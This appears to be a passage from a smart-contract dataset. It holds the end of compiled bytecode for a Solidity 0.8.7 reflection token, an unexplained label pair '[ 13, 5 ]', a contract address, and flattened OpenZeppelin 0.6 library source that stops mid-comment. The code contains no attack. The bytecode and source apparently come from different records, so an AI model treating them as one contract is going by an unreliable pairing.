207375627472616374696f6e206f766572666c6f7700008152506119ad565b905092915050565b600080828461214c9190612d80565b905083811015612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890612b6a565b60405180910390fd5b8091505092915050565b60006121a5611d83565b905060006121bc82846123b190919063ffffffff16565b905061221081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61226d826008546120f390919063ffffffff16565b6008819055506122888160095461213d90919063ffffffff16565b6009819055505050565b6000806000806122be60646122b0888a6123b190919063ffffffff16565b611dae90919063ffffffff16565b905060006122e860646122da888b6123b190919063ffffffff16565b611dae90919063ffffffff16565b9050600061231182612303858c6120f390919063ffffffff16565b6120f390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061234185896123b190919063ffffffff16565b9050600061235886896123b190919063ffffffff16565b9050600061236f87896123b190919063ffffffff16565b905060006123988261238a85876120f390919063ffffffff16565b6120f390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156123c45760009050612426565b600082846123d29190612e07565b90508284826123e19190612dd6565b14612421576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241890612b8a565b60405180910390fd5b809150505b92915050565b600061243f61243a84612cff565b612cda565b905080838252602082019050828560208602820111156124625761246161306a565b5b60005b858110156124925781612478888261249c565b845260208401935060208301925050600181019050612465565b5050509392505050565b6000813590506124ab8161332e565b92915050565b6000815190506124c08161332e565b92915050565b600082601f8301126124db576124da613065565b5b81356124eb84826020860161242c565b91505092915050565b60008135905061250381613345565b92915050565b60008151905061251881613345565b92915050565b60008135905061252d8161335c565b92915050565b6000815190506125428161335c565b92915050565b60006020828403121561255e5761255d613074565b5b600061256c8482850161249c565b91505092915050565b60006020828403121561258b5761258a613074565b5b6000612599848285016124b1565b91505092915050565b600080604083850312156125b9576125b8613074565b5b60006125c78582860161249c565b92505060206125d88582860161249c565b9150509250929050565b6000806000606084860312156125fb576125fa613074565b5b60006126098682870161249c565b935050602061261a8682870161249c565b925050604061262b8682870161251e565b9150509250925092565b6000806040838503121561264c5761264b613074565b5b600061265a8582860161249c565b925050602061266b8582860161251e565b9150509250929050565b60006020828403121561268b5761268a613074565b5b600082013567ffffffffffffffff8111156126a9576126a861306f565b5b6126b5848285016124c6565b91505092915050565b6000602082840312156126d4576126d3613074565b5b60006126e2848285016124f4565b91505092915050565b60006020828403121561270157612700613074565b5b600061270f84828501612509565b91505092915050565b60006020828403121561272e5761272d613074565b5b600061273c8482850161251e565b91505092915050565b60008060006060848603121561275e5761275d613074565b5b600061276c86828701612533565b935050602061277d86828701612533565b925050604061278e86828701612533565b9150509250925092565b60006127a483836127b0565b60208301905092915050565b6127b981612e95565b82525050565b6127c881612e95565b82525050565b60006127d982612d3b565b6127e38185612d5e565b93506127ee83612d2b565b8060005b8381101561281f5781516128068882612798565b975061281183612d51565b9250506001810190506127f2565b5085935050505092915050565b61283581612ea7565b82525050565b61284481612eea565b82525050565b600061285582612d46565b61285f8185612d6f565b935061286f818560208601612efc565b61287881613079565b840191505092915050565b6000612890602383612d6f565b915061289b8261308a565b604082019050919050565b60006128b3602a83612d6f565b91506128be826130d9565b604082019050919050565b60006128d6602283612d6f565b91506128e182613128565b604082019050919050565b60006128f9601b83612d6f565b915061290482613177565b602082019050919050565b600061291c602183612d6f565b9150612927826131a0565b604082019050919050565b600061293f602083612d6f565b915061294a826131ef565b602082019050919050565b6000612962602983612d6f565b915061296d82613218565b604082019050919050565b6000612985602583612d6f565b915061299082613267565b604082019050919050565b60006129a8602483612d6f565b91506129b3826132b6565b604082019050919050565b60006129cb601783612d6f565b91506129d682613305565b602082019050919050565b6129ea81612ed3565b82525050565b6129f981612edd565b82525050565b6000602082019050612a1460008301846127bf565b92915050565b6000604082019050612a2f60008301856127bf565b612a3c60208301846127bf565b9392505050565b6000604082019050612a5860008301856127bf565b612a6560208301846129e1565b9392505050565b600060c082019050612a8160008301896127bf565b612a8e60208301886129e1565b612a9b604083018761283b565b612aa8606083018661283b565b612ab560808301856127bf565b612ac260a08301846129e1565b979650505050505050565b6000602082019050612ae2600083018461282c565b92915050565b60006020820190508181036000830152612b02818461284a565b905092915050565b60006020820190508181036000830152612b2381612883565b9050919050565b60006020820190508181036000830152612b43816128a6565b9050919050565b60006020820190508181036000830152612b63816128c9565b9050919050565b60006020820190508181036000830152612b83816128ec565b9050919050565b60006020820190508181036000830152612ba38161290f565b9050919050565b60006020820190508181036000830152612bc381612932565b9050919050565b60006020820190508181036000830152612be381612955565b9050919050565b60006020820190508181036000830152612c0381612978565b9050919050565b60006020820190508181036000830152612c238161299b565b9050919050565b60006020820190508181036000830152612c43816129be565b9050919050565b6000602082019050612c5f60008301846129e1565b92915050565b600060a082019050612c7a60008301886129e1565b612c87602083018761283b565b8181036040830152612c9981866127ce565b9050612ca860608301856127bf565b612cb560808301846129e1565b9695505050505050565b6000602082019050612cd460008301846129f0565b92915050565b6000612ce4612cf5565b9050612cf08282612f2f565b919050565b6000604051905090565b600067ffffffffffffffff821115612d1a57612d19613036565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d8b82612ed3565b9150612d9683612ed3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dcb57612dca612fa9565b5b828201905092915050565b6000612de182612ed3565b9150612dec83612ed3565b925082612dfc57612dfb612fd8565b5b828204905092915050565b6000612e1282612ed3565b9150612e1d83612ed3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e5657612e55612fa9565b5b828202905092915050565b6000612e6c82612ed3565b9150612e7783612ed3565b925082821015612e8a57612e89612fa9565b5b828203905092915050565b6000612ea082612eb3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ef582612ed3565b9050919050565b60005b83811015612f1a578082015181840152602081019050612eff565b83811115612f29576000848401525b50505050565b612f3882613079565b810181811067ffffffffffffffff82111715612f5757612f56613036565b5b80604052505050565b6000612f6b82612ed3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f9e57612f9d612fa9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61333781612e95565b811461334257600080fd5b50565b61334e81612ea7565b811461335957600080fd5b50565b61336581612ed3565b811461337057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220298c973662a7703eb2a499524c2d080a25cec3e73a4560d5e8b3a313bfe77fb864736f6c63430008070033
[ 13, 5 ]
0xf2d8073c3d9fecf2b08127e6c6ad6f11bd855c0c
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\@openzeppelin\contracts\math\SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts\utils\Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin\contracts\utils\EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: node_modules\@openzeppelin\contracts\GSN\Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts\access\Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin\contracts\token\ERC20\ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in 